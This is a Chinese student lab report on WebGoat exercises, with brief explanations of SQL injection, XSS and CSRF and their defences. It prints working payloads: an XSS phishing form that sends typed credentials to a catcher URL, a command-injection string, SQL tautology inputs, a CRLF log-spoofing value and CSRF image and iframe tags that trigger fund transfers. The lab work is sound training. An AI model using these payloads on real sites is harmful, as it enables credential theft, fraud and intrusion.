Exp9 Web安全基础实践 20164323段钊阳

 

 

 网络对抗技术 20164323 Exp9 Web安全基础实践

 

回答问题

(1)SQL注入攻击原理,如何防御

原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。

防御:对输入进行限制,包括输入长度和特殊字符的类型等

(2)XSS攻击的原理,如何防御

原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

防御:收集JSP特征,对内容进行严格验证,规定格式。

(3)CSRF攻击原理,如何防御

原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

 

实验内容

执行java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat,

 

 

 

 

1.Phishing with XSS

 

在搜索框里输入XSS攻击代码

</form>

  <script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

  </script>

<form name="phish">

<br>

<br>

<HR>

  <H2>This feature requires account login:</H2>

<br>

  <br>Enter Username:<br>

  <input type="text" name="user">

  <br>Enter Password:<br>

  <input type="password" name = "pass">

<br>

  <input type="submit" name="login" value="login" onclick="hack()">

</form>

<br>

<br>

<HR>

 

 

 

 

在表单内填写的用户名密码会被捕获发送给你

 

 

 

 

 

 

 

2.Reflected XSS

在code输入框内输入<script>alert("20164323dzy");</script>

点击purchase,则会弹出窗口,内容是输入代码中的字符串。

 

 

 

 

 

3.Stored XSS Attacks

在发的帖子message部分插入jsp代码,当该帖子被浏览时,该代码也会被浏览器解析成html的内容。

在message中输入<script>alert("20164323 nb");</script> 提交后,浏览该贴,成功弹出窗口,说明攻击成功!

 

 

 

 

 

 

4.Command Injection

右键复选框,选择inspect Element,在某个选项后加上"& netstat -an & ipconfig"

 

 

 

 

在页面中选择该选型,然后点击view,则会出现该命令执行的结果

 

 

 

 

 

5.Numeric SQL Injection

根据其SQL语句SELECT * FROM weather_data WHERE station = [station],在填入的字段中注入特征字符,查看所有的天气数据。

右键复选框,选择inspect Element,然将value ="101"改为value ="101 or 1=1",其值对应的是Columbia,修改完成后选择该选项,然后点击Go!即可查看所有天气数据。

 

 

 

 

 

 

 

 

 

 

6.Log Spoofing

通过调整输入,从而隐藏登录的信息,不使它被记录到日志文件中。

在用户名输入dzy%0d%0aLogin Succeeded for username: admin

 

 

 

 

 

7.String SQL Injection

通过SQL注入构造永真式,使用者可查询到所有的信用卡号。

在输入框直接输入'or 1='1即可

 

 

 

 

 

 

 

8.Cross Site Request Forgery

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

查看自己电脑的Screen和menu的值:

message内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500"/>当点击该图片时,就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。

 

 

 

 

提交后点击该链接,可查看操作信息。

 

 

 

 

 

9.CSRF Prompt By-Pass

利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器

在message框输入<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

点开链接

 

 

 

 

 

问题

一开始使用webgoat的时候发现有问题,然后查到是因为java的版本不对,在kali里面把java的版本切换成1.8就可以了

 

实验感想

本次实验都是利用代码进行攻击需要使用者对语句特别熟悉

posted on 2019-05-25 15:03  dzy9  阅读(159)  评论(0编辑  收藏  举报